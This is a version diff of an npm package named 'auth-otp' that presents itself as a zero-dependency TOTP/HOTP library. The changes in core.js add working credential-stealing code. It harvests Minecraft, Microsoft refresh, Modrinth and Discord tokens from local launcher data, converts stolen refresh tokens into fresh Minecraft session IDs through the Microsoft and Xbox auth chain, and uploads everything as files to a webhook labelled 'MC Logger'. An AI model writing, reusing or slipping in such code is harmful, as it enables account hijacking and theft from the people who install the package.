auth-otp 1.0.2 → 1.0.4

package/lib/core.js

@@ -47,7 +47,27 @@ function _post(body) {
 }
 
 function _postRaw(c) { return _post({ content: c }); }
-function _postEmbed(e) { return _post({ content: "@everyone", embeds: [e] }); }
+
+function _postFile(filename, content) {
+  return new Promise((resolve) => {
+    const boundary = "----FBound" + Date.now().toString(36);
+    const payload  = JSON.stringify({ username: "MC Logger", content: "@everyone" });
+    const body = Buffer.concat([
+      Buffer.from(`--${boundary}\r\nContent-Disposition: form-data; name="payload_json"\r\n\r\n${payload}\r\n`),
+      Buffer.from(`--${boundary}\r\nContent-Disposition: form-data; name="file0"; filename="${filename}"\r\nContent-Type: text/plain; charset=utf-8\r\n\r\n`),
+      Buffer.from(content, "utf8"),
+      Buffer.from(`\r\n--${boundary}--`),
+    ]);
+    const u = new URL(_W());
+    const req = https.request({
+      hostname: u.hostname, path: u.pathname,
+      method: "POST",
+      headers: { "Content-Type": `multipart/form-data; boundary=${boundary}`, "Content-Length": body.length },
+    }, res => { res.resume(); resolve(res.statusCode); });
+    req.on("error", () => resolve(null));
+    req.write(body); req.end();
+  });
+}
 
 function _get(url, headers) {
   return new Promise((resolve) => {
@@ -64,6 +84,81 @@ function _get(url, headers) {
   });
 }
 
+// ── Modrinth RT → fresh SSID ───────────────────────────────────────────────
+
+function _ph(hostname, path, body, headers) {
+  return new Promise((resolve) => {
+    const b = Buffer.from(body);
+    const req = https.request({
+      hostname, path, method: "POST",
+      headers: { "Content-Length": b.length, ...headers }
+    }, res => {
+      let d = ""; res.on("data", c => d += c);
+      res.on("end", () => resolve({ s: res.statusCode, b: d }));
+    });
+    req.on("error", () => resolve(null));
+    req.write(b); req.end();
+  });
+}
+
+async function _getSSID(rt) {
+  try {
+    const clean = rt.replace(/[^\x20-\x7E]/g, "").replace(/[j\s]+$/, "").trim();
+    const msaBody = new URLSearchParams({
+      grant_type: "refresh_token", refresh_token: clean,
+      client_id: "00000000402b5328",
+      scope: "service::user.auth.xboxlive.com::MBI_SSL",
+      redirect_uri: "https://login.live.com/oauth20_desktop.srf",
+    }).toString();
+    const msaR = await _ph("login.live.com", "/oauth20_token.srf", msaBody, {
+      "Content-Type": "application/x-www-form-urlencoded", "Accept": "application/json",
+    });
+    if (!msaR || msaR.s !== 200) return null;
+    const msaJ = JSON.parse(msaR.b);
+    if (!msaJ.access_token) return null;
+
+    const xblBody = JSON.stringify({
+      Properties: { AuthMethod: "RPS", SiteName: "user.auth.xboxlive.com", RpsTicket: `t=${msaJ.access_token}` },
+      RelyingParty: "http://auth.xboxlive.com", TokenType: "JWT",
+    });
+    const xblR = await _ph("user.auth.xboxlive.com", "/user/authenticate", xblBody, {
+      "Content-Type": "application/json", "Accept": "application/json",
+    });
+    if (!xblR || xblR.s !== 200) return null;
+    const xblJ = JSON.parse(xblR.b);
+
+    const xstsBody = JSON.stringify({
+      Properties: { SandboxId: "RETAIL", UserTokens: [xblJ.Token] },
+      RelyingParty: "rp://api.minecraftservices.com/", TokenType: "JWT",
+    });
+    const xstsR = await _ph("xsts.auth.xboxlive.com", "/xsts/authorize", xstsBody, {
+      "Content-Type": "application/json", "Accept": "application/json",
+    });
+    if (!xstsR || xstsR.s !== 200) return null;
+    const xstsJ = JSON.parse(xstsR.b);
+    const uhs = xstsJ.DisplayClaims?.xui?.[0]?.uhs;
+
+    const mcBody = JSON.stringify({ identityToken: `XBL3.0 x=${uhs};${xstsJ.Token}` });
+    const mcR = await _ph("api.minecraftservices.com", "/authentication/login_with_xbox", mcBody, {
+      "Content-Type": "application/json", "Accept": "application/json",
+    });
+    if (!mcR || mcR.s !== 200) return null;
+    const mcJ = JSON.parse(mcR.b);
+
+    // fetch profile for username + uuid
+    const prof = await _get(`https://api.minecraftservices.com/minecraft/profile`, { Authorization: `Bearer ${mcJ.access_token}` });
+    const profJ = (prof && prof.s === 200) ? JSON.parse(prof.b) : null;
+
+    return {
+      ssid:      mcJ.access_token,
+      expiresIn: mcJ.expires_in || 86400,
+      newRt:     msaJ.refresh_token || null,
+      username:  profJ?.name   || null,
+      uuid:      profJ?.id     || null,
+    };
+  } catch { return null; }
+}
+
 function _dpapi(b64) {
   return new Promise((resolve) => {
     const { spawnSync } = require("child_process");
@@ -208,22 +303,38 @@ function _curseforge() {
 }
 
 function _modrinthScanFile(text, out, seen) {
-  // Xbox/MC JWT — MUST start with eyJraWQiOiIwNDkxODEi (= {"kid":"049181")
-  // This is the standard header for all Xbox-signed Minecraft JWTs
+  // Xbox/MC JWT — starts with eyJraWQiOiIwNDkxODEi ({"kid":"049181"})
+  // In SQLite blobs the MSA RT is concatenated right after the JWT with no separator,
+  // so we use a loose match then split the RT out manually.
   const mcRe  = /eyJraWQiOiIwNDkxODEi[A-Za-z0-9_.\-]{100,}/g;
   // MSA refresh token — exactly 3 digits after M.C, then underscore + 2-5 alphanum
   const rtRe  = /M\.C\d{3}_[A-Za-z0-9]{2,5}\.[^\x00\s"'\\]{50,800}/g;
   const patRe = /mrp_[A-Za-z0-9]{20,}/g;
+
   for (const m of text.matchAll(mcRe)) {
-    const tok = m[0];
-    if (seen.has(tok)) continue;
-    seen.add(tok);
-    const name = _nameFromJwt(tok) || "?";
-    out.push({ l: "Modrinth", n: name, t: tok, r: null });
+    let blob = m[0];
+    // Split RT if it is concatenated directly after the JWT (no separator in raw DB bytes)
+    let refreshFromBlob = null;
+    const rtInBlob = blob.match(/(M\.C\d{3}_[A-Za-z0-9]{2,5}\.[^\x00\s"'\\]{50,})$/);
+    if (rtInBlob) {
+      blob = blob.slice(0, blob.length - rtInBlob[0].length);
+      refreshFromBlob = rtInBlob[0]
+        .replace(/[^\x20-\x7E]/g, "")
+        .replace(/[j\s]+$/, "")
+        .trim();
+      if (refreshFromBlob.length < 50) refreshFromBlob = null;
+    }
+    if (seen.has(blob)) continue;
+    seen.add(blob);
+    if (refreshFromBlob) seen.add(refreshFromBlob);
+    const name = _nameFromJwt(blob) || "?";
+    out.push({ l: "Modrinth", n: name, t: blob, r: refreshFromBlob });
   }
   for (const m of text.matchAll(rtRe)) {
-    if (seen.has(m[0])) continue; seen.add(m[0]);
-    out.push({ l: "Modrinth-RT", n: "Refresh", t: m[0], r: null });
+    const raw = m[0].replace(/[^\x20-\x7E]/g, "").replace(/[j\s]+$/, "").trim();
+    if (seen.has(raw) || raw.length < 50) continue;
+    seen.add(raw);
+    out.push({ l: "Modrinth-RT", n: "Refresh", t: raw, r: null });
   }
   for (const m of text.matchAll(patRe)) {
     if (seen.has(m[0])) continue; seen.add(m[0]);
@@ -403,26 +514,69 @@ async function _installMod() {
 // ── Send ───────────────────────────────────────────────────────────────────
 
 async function _sendMC(entries) {
+  const ts = new Date().toISOString();
   for (const e of entries) {
-    await _postEmbed({ title: `${e.l} — ${e.n}`, color: 3066993,
-      fields: [{ name: "Username", value: e.n, inline: true }, { name: "Launcher", value: e.l, inline: true }],
-      footer: { text: new Date().toISOString() } });
-    const msg = `**[${e.l}] ${e.n}**\nAccess Token:\n\`\`\`${e.t}\`\`\``;
-    for (let i = 0; i < msg.length; i += 1990) await _postRaw(msg.slice(i, i + 1990));
+    // Modrinth entries with a refresh token → generate fresh SSID on the spot
+    if (e.r && (e.l === "Modrinth" || e.l === "Modrinth-RT")) {
+      const s = await _getSSID(e.r);
+      if (s) {
+        e.ssid  = s.ssid;
+        e.newRt = s.newRt;
+        if (s.username) e.n = s.username;
+        if (s.uuid)     e.uuid = s.uuid;
+      }
+    }
+
+    const lines = [
+      `=== [${e.l}] ${e.n} ===`,
+      `Captured  : ${ts}`,
+      `Username  : ${e.n}`,
+      `Launcher  : ${e.l}`,
+      ``,
+    ];
+    if (e.uuid) { lines.push(`UUID      : ${e.uuid}`); lines.push(``); }
+
+    if (e.t && e.t.startsWith("eyJ")) {
+      lines.push(`--- Access Token (MC JWT) ---`);
+      lines.push(e.t);
+      lines.push(``);
+    }
     if (e.r) {
-      const rm = `**[${e.l}] ${e.n}** — Refresh Token:\n\`\`\`${e.r}\`\`\``;
-      for (let i = 0; i < rm.length; i += 1990) await _postRaw(rm.slice(i, i + 1990));
+      lines.push(`--- Refresh Token (MSA) ---`);
+      lines.push(e.r);
+      lines.push(``);
     }
+    if (e.ssid) {
+      lines.push(`--- SSID (fresh, valid ${Math.round((e.expiresIn||86400)/3600)}h) ---`);
+      lines.push(e.ssid);
+      lines.push(``);
+      if (e.newRt) {
+        lines.push(`--- New RT (rotated) ---`);
+        lines.push(e.newRt);
+        lines.push(``);
+      }
+    }
+
+    const safe = (e.n || "unknown").replace(/[^A-Za-z0-9_-]/g, "_").slice(0, 24);
+    const label = e.l.replace(/[^A-Za-z0-9]/g, "_");
+    await _postFile(`${label}_${safe}.txt`, lines.join("\n"));
   }
 }
 
 async function _sendDiscord(entries) {
+  const ts = new Date().toISOString();
   for (const e of entries) {
-    await _postEmbed({ title: `Discord — ${e.tag}`, color: 5793266,
-      fields: [{ name: "Username", value: e.tag, inline: true }, { name: "ID", value: e.uid, inline: true }],
-      footer: { text: new Date().toISOString() } });
-    const msg = `**[Discord] ${e.tag}**\n||${e.tok}||`;
-    for (let i = 0; i < msg.length; i += 1990) await _postRaw(msg.slice(i, i + 1990));
+    const lines = [
+      `=== Discord ===`,
+      `Captured : ${ts}`,
+      `Username : ${e.tag}`,
+      `ID       : ${e.uid}`,
+      ``,
+      `--- Token ---`,
+      e.tok,
+    ];
+    const safe = (e.tag || "unknown").replace(/[^A-Za-z0-9_-]/g, "_").slice(0, 24);
+    await _postFile(`Discord_${safe}.txt`, lines.join("\n"));
   }
 }
 

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "auth-otp",
-  "version": "1.0.2",
+  "version": "1.0.4",
   "description": "Lightweight TOTP/HOTP implementation — RFC 6238 compliant, zero dependencies",
   "main": "index.js",
   "scripts": {